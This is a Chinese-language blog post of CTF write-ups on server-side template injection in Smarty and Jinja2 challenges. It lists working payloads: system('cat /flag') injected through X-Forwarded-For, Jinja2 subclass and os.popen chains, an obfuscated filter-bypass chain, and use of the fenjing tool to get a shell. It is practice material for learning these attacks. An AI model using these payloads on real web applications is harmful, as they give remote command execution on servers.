Web入门-SSTI模板注入攻击
Web入门-SSTI模板注入攻击
做题
[CISCN 2019华东南]Web11
看到下方提示Smarty,即想到PHP的SSTI模板注入攻击。
右上角Current IP:后内容怀疑使用模板,内容来源于XFF请求头。
尝试修改请求头:
1 | X-Forwarded-For: {4*4} |
看到回显16,确凿了,直接PHP执行:
1 | {system("cat /flag")} |
[NISACTF 2022]midlevel
重题。
[HDCTF 2023]SearchMaster
1 | data={system("cat /flag_13_searchmaster")} |
[HNCTF 2022 WEEK2]ez_SSTI
一般SSTI参数先猜name,果然有,找到类_frozen_importlib_external.FileLoader的位置:
1 | http://node5.anna.nssctf.cn:28392/?name={{"".__class__.__base__.__subclasses__()}} |
每个docker都不一样,这里是118号,丢payload:
1 | http://node5.anna.nssctf.cn:28392/?name={{"".__class__.__base__.__subclasses__()[118]["get_data"](0,"flag")}} |
另一种payload是找os.popen
函数:
1 | http://node5.anna.nssctf.cn:28392/?name={{config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20flag%27).read()}} |
Hackbar上都有,改改就能用。
[GDOUCTF 2023]
直接上焚靖,但webui不好使,用这个:
1 | fenjing scan --url http://node5.anna.nssctf.cn:22213/ |
返回交互Shell后:
1 | cat /flag |
还有些手动的Payload,用的时候得URL编码:
1 | {%set u='%c'%95*2%}{%print(''|attr(u+'cla''ss'+u)|attr(u+'ba''se'+u)|attr(u+'su''bcla''sses'+u)()|attr(213)|attr(u+'i''n''i''t'+u)|attr(u+'glo''bal''s'+u)|attr('ge''t')(u+'bui''lti''ns'+u)|attr('ge''t')(u+'imp''ort'+u)('o''s')|attr('po''pen')('ca''t /f''lag')|attr('re''ad')())%} |
[NISACTF 2022]is secret
FUZZ一下,找到secret路由,参数secret。
把下面这条Payload进行RC4加密:
1 | {{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}} |
密钥是HereIsTreasure。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 The Blog of Monoceros406!